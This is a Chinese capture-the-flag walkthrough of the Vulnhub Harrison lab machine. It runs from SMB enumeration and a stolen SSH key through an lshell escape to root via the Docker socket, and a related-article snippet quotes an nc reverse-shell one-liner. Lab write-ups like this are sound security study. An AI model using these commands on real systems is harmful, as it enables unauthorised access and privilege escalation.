首页 > 其他分享 >Vulnhub之Harrison靶机详细测试过程（提权成功）

Vulnhub之Harrison靶机详细测试过程（提权成功）

时间：2023-04-23 09:12:14浏览次数：41  
标签：Harrison Apr 18 提权 2019 Vulnhub harrison -- root

Harrison

作者：jason huawen

靶机信息

名称: SP: harrison

地址：

https://www.vulnhub.com/entry/sp-harrison,302/

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                              
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:19:b1:e6      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.125  08:00:27:a8:46:b3      1      60  PCS Systemtechnik GmbH

利用Kali LInux的netdiscover工具识别目标主机的IP地址为192.168.56.125

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.125 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-22 19:19 EDT
Nmap scan report for bogon (192.168.56.125)
Host is up (0.000094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5b87f1fe678fa6ba8b753c11343db6b8 (RSA)
|   256 93877e2e5e4ece7156a11c6bfc1f6e55 (ECDSA)
|_  256 c014c024e8a87ed4cda64225f3484794 (ED25519)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:A8:46:B3 (Oracle VirtualBox virtual NIC)
Service Info: Host: HARRISON; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2023-04-23T07:19:44
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: harrison
|   NetBIOS computer name: HARRISON\x00
|   Domain name: \x00
|   FQDN: harrison
|_  System time: 2023-04-23T07:19:45+00:00
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、445（samba)

获得Shell

┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ smbclient -L 192.168.56.125                                
Password for [WORKGROUP\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        Private         Disk      
        IPC$            IPC       IPC Service (Samba 4.7.6-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.125 failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available
                                                                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ smbclient //192.168.56.125/Private
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 18 12:55:51 2019
  ..                                  D        0  Thu Apr 18 12:12:55 2019
  .bash_logout                        H      220  Wed Apr  4 14:30:26 2018
  .profile                            H      807  Wed Apr  4 14:30:26 2018
  .bashrc                             H     3771  Wed Apr  4 14:30:26 2018
  silly_cats                          D        0  Thu Apr 18 12:55:51 2019
  .ssh                               DH        0  Thu Apr 18 12:42:57 2019
  flag.txt                            N       32  Thu Apr 18 12:14:18 2019

                32894736 blocks of size 1024. 27322884 blocks available
smb: \> get flag.txt 
getting file \flag.txt of size 32 as flag.txt (15.6 KiloBytes/sec) (average 15.6 KiloBytes/sec)
smb: \> cd .ssh
smb: \.ssh\> ls
  .                                   D        0  Thu Apr 18 12:42:57 2019
  ..                                  D        0  Thu Apr 18 12:55:51 2019
  authorized_keys                     N      399  Thu Apr 18 12:42:57 2019
  id_rsa                              A     1679  Thu Apr 18 12:14:17 2019
  id_rsa.pub                          A      399  Thu Apr 18 12:14:17 2019

                32894736 blocks of size 1024. 27322884 blocks available
smb: \.ssh\> get id_rsa
getting file \.ssh\id_rsa of size 1679 as id_rsa (546.5 KiloBytes/sec) (average 334.2 KiloBytes/sec)
smb: \.ssh\> get id_rsa.pub 
getting file \.ssh\id_rsa.pub of size 399 as id_rsa.pub (194.8 KiloBytes/sec) (average 294.4 KiloBytes/sec)
smb: \.ssh\> get authorized_keys 
getting file \.ssh\authorized_keys of size 399 as authorized_keys (129.9 KiloBytes/sec) (average 245.0 KiloBytes/sec)
smb: \.ssh\> cd ..
smb: \> cd silly_cats\
smb: \silly_cats\> ls
  .                                   D        0  Thu Apr 18 12:55:51 2019
  ..                                  D        0  Thu Apr 18 12:55:51 2019
  cat3.jpg                            N    38624  Mon Jan  8 13:30:10 2018
  cat1.jpg                            N    73946  Mon Jan  8 13:29:40 2018
  cat2.jpg                            N    74130  Mon Jan  8 13:29:32 2018

                32894736 blocks of size 1024. 27322884 blocks available
smb: \silly_cats\> get cat1.jpg 
getting file \silly_cats\cat1.jpg of size 73946 as cat1.jpg (24070.2 KiloBytes/sec) (average 5743.3 KiloBytes/sec)
smb: \silly_cats\> get cat2.jpg 
getting file \silly_cats\cat2.jpg of size 74130 as cat2.jpg (24130.1 KiloBytes/sec) (average 9191.0 KiloBytes/sec)
smb: \silly_cats\> get cat3.jpg 
getting file \silly_cats\cat3.jpg of size 38624 as cat3.jpg (18858.5 KiloBytes/sec) (average 10265.2 KiloBytes/sec)
smb: \silly_cats\> quit


─(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ enum4linux 192.168.56.125    
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                  
                                                                                                                             
S-1-22-1-1000 Unix User\harrison (Local User)

enum4linux识别出用户名harrison

┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ cat flag.txt     
It's not going to be that easy.

没那么容易？

                                                                                                                            
┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ chmod 400 id_rsa  
                                                                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ ssh -i id_rsa [email protected]
The authenticity of host '192.168.56.125 (192.168.56.125)' can't be established.
ED25519 key fingerprint is SHA256:O+XKyphfQuB/KW9A8/6nUKPZTAGMJNtRBH8CrijPGnY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.125' (ED25519) to the list of known hosts.

Welcome to Harrison. Enjoy your shell.

Type '?' or 'help' to get the list of allowed commands
harrison:~$ id
*** forbidden command: id
harrison:~$

虽然得到了shell,但是这是受限的shell

┌──(kali㉿kali)-[~/Vulnhub/Harrison]
└─$ ssh -i id_rsa [email protected] -t /bin/sh
*** forbidden shell escape: "/bin/sh"
This incident has been reported.
Connection to 192.168.56.125 closed.

用-t选项指定不同的shell没能逃脱受限的Shell

harrison:~$ echo $SHELL
*** forbidden path: /usr/bin/lshell

可知为lshell

harrison:~$ echo && "bash"

harrison@harrison:~$ ls -alh
total 44K
drwxr-xr-x 1 harrison harrison 4.0K Apr 23 07:31 .
drwxr-xr-x 1 root     root     4.0K Apr 18  2019 ..
-rw-r--r-- 1 harrison harrison  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 harrison harrison 3.7K Apr  4  2018 .bashrc
drwx------ 2 harrison harrison 4.0K Apr 23 07:24 .cache
-rw------- 1 harrison harrison  272 Apr 23 07:31 .lhistory
-rw-r--r-- 1 harrison harrison  807 Apr  4  2018 .profile
drwxr-xr-x 1 harrison harrison 4.0K Apr 18  2019 .ssh
-rw-r--r-- 1 root     root       32 Apr 18  2019 flag.txt
drwxr-xr-x 2 root     root     4.0K Apr 18  2019 silly_cats
harrison@harrison:~$ cd /home
harrison@harrison:/home$ ls
harrison
harrison@harrison:/home$

用echo && "bash"逃逸，成为正常的shell

harrison@harrison:/root$ ls -alh
total 20K
drwxr-xr-x 1 root root 4.0K Apr 18  2019 .
drwxr-xr-x 1 root root 4.0K Apr 23 07:16 ..
-rw-r--r-- 1 root root 3.1K Apr  9  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rwxr--r-- 1 root root   49 Apr 18  2019 flag.txt
harrison@harrison:/root$ cat flag.txt
Nope. No flags here. Where do you think you are?

提权

提权是通过docker实现的，但是过程太复杂了，是参考其他人的做法才能完成。

查看现有的容器

harrison@harrison:~$ cd /tmp

harrison@harrison:/tmp$ curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
[{"Id":"902f9eaf084a2da13ce02a097e80c39686c73c6af1ffcc78602c83dde49ae534","Names":["/nervous_proskuriakova"],"Image":"cont1:v1","ImageID":"sha256:6275c2bd4f72c6c417458fa6caecf2bc23bf823298650334c3c3bd42579aa95f","Command":"/bin/sh -c '/etc/init.d/smbd start && /etc/init.d/ssh start && bash' /bin/bash","Created":1682237761,"Ports":[{"IP":"0.0.0.0","PrivatePort":22,"PublicPort":22,"Type":"tcp"},{"IP":"0.0.0.0","PrivatePort":445,"PublicPort":445,"Type":"tcp"}],"Labels":{},"State":"running","Status":"Up 56 seconds","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"a81871ff28475882e034ea03bb1aab0b2ba4d0d1271312250f1db62337acc2b0","EndpointID":"01e3e3658c213f253bd4d957175f1007e23e6e4c2d9268e14d80a36512d531fb","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/var/run/docker.sock","Destination":"/var/run/docker.sock","Mode":"","RW":true,"Propagation":"rprivate"}]}]

创建新容器：

harrison@harrison:/tmp$ echo -e '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}' > container.json

查看新创建的容器：

harrison@harrison:/tmp$ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
{"Id":"ea0a8e5839ab3e2817b02fb086a63a776f06afcd5a4f742eb5d8a898aae3719f","Warnings":null}

启动新容器：

harrison@harrison:/tmp$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/ea0a/start

连接新创建的容器：

harrison@harrison:/tmp$ nc -U /var/run/docker.sock
POST /containers/34b3/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp   

HTTP/1.1 404 Not Found
Content-Type: application/vnd.docker.raw-stream

No such container: 34b3
harrison@harrison:/tmp$ nc -U /var/run/docker.sock
POST /containers/ea0a/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

ls
]bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
os_root
proc
root
run
sbin
srv
sys
tmp
usr
var
cd os_root
ls -alh
�total 32K
drwx------ 3 root root 4.0K Apr 18  2019 .
drwxr-xr-x 1 root root 4.0K Apr 23 08:18 ..
-rw------- 1 root root  289 Apr 18  2019 .bash_history
-rw-r--r-- 1 root root 3.1K Apr  9  2018 .bashrc
drwxr-xr-x 3 root root 4.0K Apr 16  2019 .local
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root   66 Apr 18  2019 .selected_editor
-rwx------ 1 root root   73 Apr 18  2019 flag.txt
cat flag.txt
IDo you think you are out?


Just kidding, here is your flag: 1xcDF933mce

注意这里所有的命令都需要保持容器ID一致

标签：Harrison,Apr,18,提权,2019,Vulnhub,harrison,--,root
From： https://www.cnblogs.com/jason-huawen/p/17345455.html

相关文章

  • Vulnhub之Healthcare靶机详细测试过程
    Healthcare作者:jasonhuawen靶机信息名称：地址：识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Healthcare]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts......
  • Vulnhub之HF 2019靶机详细测试过程
    HF2019作者：jasonhuawen靶机信息名称：HackerFest:2019地址：https://www.vulnhub.com/entry/hacker-fest-2019,378/识别目标主机IP地址将虚拟机镜像导入到VirtualBox中，并设置网络模式为host-only,然后启动KaliLinux以及目标主机（虚拟机）：(kali㉿kali)-[~/Vulnhub/HF2019]......
  • VulnHub-Tomato: 1
    靶机地址：https://www.vulnhub.com/entry/tomato-1,557/目标：Gettherootshelli.e.(root@localhost:~#)andthenobtainflagunder/root).一、信息收集用arp-scan探测网段内目标靶机的IP，得到目标靶机的IP为192.168.11.137arp-scan-l┌──(root㉿kali)-[~]└─#......
  • VulnHub-DC: 2
    靶机地址：https://www.vulnhub.com/entry/dc-2,311/目标：therearefiveflagsincludingthefinalflag.theonlyflagthatreallycounts,isthefinalflag.主机信息Kali：192.168.11.131DC9：192.168.11.138渗透过程1、主机探测先进行主机探测，查找靶机的IP地址a......
  • vulnhub_Earth_WP
    前言靶机地址->>>vulnhub_Earth攻击机ip：192.168.20.121靶机ip：192.168.20.122参考文章https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.htmlhttps://www.cnblogs.com/wthuskyblog/p/16032277.htmlhttps://www.cnblogs.com/CHOSEN1-Z13/p/15915195.html探测靶......
  • Vulnhub之Inclusiveness靶机详细测试过程
    Inclusiveness识别目标主机IP地址─(kali㉿kali)-[~/Desktop/Vulnhub/Inclusiveness]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts......
  • find基础命令与提权教程
    find命令用来在指定目录下查找文件，若不指定目录则视为当前目录find常用参数语法：find[path…][expression]path为查找路径，.为当前路径，/为根目录expression即为参数-name： 按文件名查找文件-perm： 按照文件权限来查找文件，4000，2000,1000为分别表示SUID,SGID,SBIT，如777为普......
  • AD提权安装软件
    在使用ActiveDirectory域管理的虚拟桌面中，每个用户对虚拟桌面计算机是普通用户权限。如果用户需要单独安装软件，需要以管理员账户权限运行。有的软件也需要以管理员权限运行，对于这种情况下，可以使用第三方软件lsrunase.exe程序，通过指定批处理脚本的方式，以管理员权限安装软件（或运行......
  • Vulnhub:Misdirection 1靶机
    kali：192.168.111.111靶机：192.168.111.130信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.1308080端口/debug目录，是一个可以执行命令的shell获得反弹shellrm/tmp/f;mkfifo/tmp/f;cat/tmp/f|sh-i2>&1|nc192.168.111.1114444>/tmp/f提......
  • Vulnhub之Infosec Warrior靶机详细测试过程（不同的思路）
    InfosecWarrior作者：jasonhuawen靶机信息名称：InfoSecWarriorCTF2020:01地址：https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-01,446/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Infosec]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlysc......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99